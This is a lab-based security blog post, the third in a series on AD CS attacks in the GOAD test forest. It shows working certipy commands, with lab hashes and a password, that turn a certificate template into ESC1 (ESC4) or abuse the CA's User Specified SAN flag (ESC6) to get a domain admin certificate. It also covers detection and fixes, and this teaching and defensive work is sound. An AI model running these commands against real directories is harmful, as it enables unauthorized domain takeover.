---
title: "AD CS Part 3: ESC4 and ESC6 — Creating the Vulnerability Yourself"
description: "Part 2 exploited ESC1, a template that was already vulnerable. This part creates the vulnerability: ESC4 edits a template you have GenericAll over into an ESC1, and ESC6 abuses the CA-wide User Specified SAN flag to stuff a Subject Alternative Name into any Client Authentication template."
date: 2026-11-05
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/ad-cs-esc4-esc6/
---

## The difference between finding and making

[Part 2](/posts/ad-cs-esc1-domain-admin/) exploited `ESC1` — a template that was *already* misconfigured to let enrollees supply their own subject. That is the clean win, but it only works when someone left that exact template behind. This part is about the two ways you stop depending on luck and *make* the vulnerable condition yourself:

- **ESC4** — you hold `GenericAll` (or `WriteProperty`) over a template object, so you rewrite it into an ESC1: add Client Authentication, turn on `EnrolleeSuppliesSubject`, and give yourself enrollment.
- **ESC6** — the CA itself has the `User Specified SAN` flag set, so *any* Client Authentication template honors an arbitrary `-upn`, even a template that is otherwise locked down.

Both turn "the template is not vulnerable" into "give me `daenerys.targaryen`'s certificate."

## ESC4: rewrite the template

`khal.drogo` holds `GenericAll` over the `ESC4` template in `essos.local` — one of the ACL edges we already walked in [GOAD Part 4](/posts/owning-essos-forest-trust/). `certipy` reads the template's current shape and shows what is wrong with it: the only EKU is Code Signing, and the enrollee cannot supply the subject. `GenericAll` means we can fix both:

```bash
$ certipy-ad template -u khal.drogo@essos.local -hashes 739120ebc4dd940310bc4bb5c9d37021 \
    -dc-ip 192.168.56.12 -template ESC4 -save-configuration esc4.bak.json
[*] Saving current configuration to 'esc4.bak.json'
```

The backup matters — a professional engagement reverts what it changed. Then `-write-default-configuration` applies certipy's built-in "make it an ESC1" preset:

```bash
$ certipy-ad template -u khal.drogo@essos.local -hashes 739120ebc4dd940310bc4bb5c9d37021 \
    -dc-ip 192.168.56.12 -template ESC4 -write-default-configuration -no-save -force
[*] Updating certificate template 'ESC4'
[*]     pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']      # Client Authentication
[*]     msPKI-Certificate-Name-Flag: 1                 # EnrolleeSuppliesSubject
[*] Successfully updated 'ESC4'
```

Two attributes changed, and the whole attack surface of the template changed with them. It now has Client Authentication and lets the enrollee choose the subject — the exact two ingredients of ESC1. The `ESC4` template was Code Signing a minute ago; now it is a Domain-Admin-certificate printer:

```bash
$ certipy-ad req -u khal.drogo@essos.local -hashes 739120ebc4dd940310bc4bb5c9d37021 \
    -ca ESSOS-CA -template ESC4 -upn daenerys.targaryen@essos.local -target braavos.essos.local -dc-ip 192.168.56.12
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN 'daenerys.targaryen@essos.local'
```

From here the rest is Part 2's ending: `certipy auth -pfx` for the TGT, then DCSync. ESC4's lesson is that a template is not a fixed fact of the environment — it is an object with an ACL, and `GenericAll` over it is a green light to change its meaning.

## ESC6: the CA-wide override

ESC4 edits a template. ESC6 does not need to edit anything, because the *CA* itself is misconfigured. `certipy find` reported it in one line:

```bash
    User Specified SAN: Enabled        # ESC6 / EDITF_ATTRIBUTESUBJECTALTNAME2
```

That flag means the CA honors an arbitrary Subject Alternative Name on **any** request, regardless of what the template's own name-flag says. The cleanest way to prove it is to use a template that is *not* ESC1 — `ESC9`, which has Client Authentication but does not let the enrollee supply the subject:

```bash
$ certipy-ad req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template ESC9 \
    -upn daenerys.targaryen@essos.local -target braavos.essos.local -dc-ip 192.168.56.12
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'daenerys.targaryen@essos.local'
```

A template that should have refused the spoofed UPN accepted it, because the CA-level flag overrode the template. That is the whole danger of ESC6: you cannot harden template-by-template and call it done — one flag on the CA silently re-opens every Client Authentication template in the forest.

<figure class="diagram">
<svg viewBox="0 0 760 220" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="ESC4 versus ESC6. ESC4 edits a template with GenericAll to add Client Authentication and EnrolleeSuppliesSubject, turning it into an ESC1. ESC6 uses the CA's User Specified SAN flag to request an arbitrary UPN from any Client Authentication template without editing anything.">
<defs><marker id="e46" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">MAKING THE VULNERABILITY · ESC4 VS ESC6</text>
<rect x="0" y="40" width="360" height="140" rx="8" class="dg-box-danger" />
<text x="16" y="64" class="dg-label">ESC4 · edit the template</text>
<text x="16" y="86" class="dg-mono dg-compact">GenericAll over ESC4 template</text>
<text x="16" y="106" class="dg-mono dg-compact">add Client Auth + EnrolleeSuppliesSubject</text>
<text x="16" y="126" class="dg-crit">Code Signing → ESC1 → daenerys cert</text>
<rect x="390" y="40" width="370" height="140" rx="8" class="dg-box-accent" />
<text x="406" y="64" class="dg-label">ESC6 · override at the CA</text>
<text x="406" y="86" class="dg-mono dg-compact">User Specified SAN: Enabled</text>
<text x="406" y="106" class="dg-mono dg-compact">any Client Auth template honors -upn</text>
<text x="406" y="126" class="dg-accent">ESC9 → daenerys cert, no edit</text>
<rect x="0" y="196" width="760" height="16" rx="4" class="dg-box" />
<text x="14" y="208" class="dg-muted dg-compact">both end at the same place: a Domain Admin certificate</text>
</svg>
<figcaption>ESC4 rewrites a template you control into an ESC1; ESC6 leans on a single CA flag that re-opens every Client Authentication template. Same destination, two different prerequisites.</figcaption>
</figure>

## Detection and the fix

**Detection:** ESC4 is the loud one — the template edit is a `5136` on the `pKICertificateTemplate` object changing `pKIExtendedKeyUsage` and `msPKI-Certificate-Name-Flag`, and a template whose EKU silently flips from Code Signing to Client Authentication is a red flag. ESC6 leaves no edit to see; the tell is a certificate issued with a SAN whose UPN does not match the requester.

**Control:** Both share one root cause: *who can change the PKI.* Remove `GenericAll`/`WriteProperty` from template objects so ESC4 has nothing to stand on, and clear `EDITF_ATTRIBUTESUBJECTALTNAME2` (User Specified SAN) on every CA so ESC6 has no override. Audit `5136` on `CN=Certificate Templates` and the CA's flags as part of Tier-0 hygiene, not as an afterthought.

## Summary

| Property | ESC4 | ESC6 |
| --- | --- | --- |
| Prerequisite | `GenericAll`/`WriteProperty` on a template | CA `User Specified SAN` flag |
| Action | rewrite template → ESC1 | request any Client Auth template with `-upn` |
| Visibility | `5136` on the template | issued cert with mismatched SAN |
| Fix | remove template write ACEs | clear `EDITF_ATTRIBUTESUBJECTALTNAME2` |

## Up next in Part 4

Part 4 closes the series with the rest of the catalog — `ESC2` (any-purpose EKU), `ESC3` (enrollment agent), `ESC8` (web-enrollment relay), and the identity-mapping family `ESC9`/`ESC11`/`ESC15`/`ESC17` — plus the hardening summary that ties all of it together.

## Evidence and limits

Both `ESC4` (template overwrite and restoration on `ESC4`) and `ESC6` (CA-level `EDITF_ATTRIBUTESUBJECTALTNAME2` abuse) were verified against `ESSOS-CA` (`192.168.56.23`) and `MEEREEN` (`192.168.56.12`) in the isolated GOAD lab. The modified `ESC4` template was restored from its saved `.json` configuration immediately after enrollment.

## References

- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **The Hacker Recipes, AD CS:** [thehacker.recipes/ad/movement/adcs](https://www.thehacker.recipes/ad/movement/adcs)
- **SpecterOps, Certified Pre-Owned:** [posts.specterops.io](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
- **MITRE ATT&CK, Steal or Forge Authentication Certificates (T1649):** [attack.mitre.org/techniques/T1649](https://attack.mitre.org/techniques/T1649/)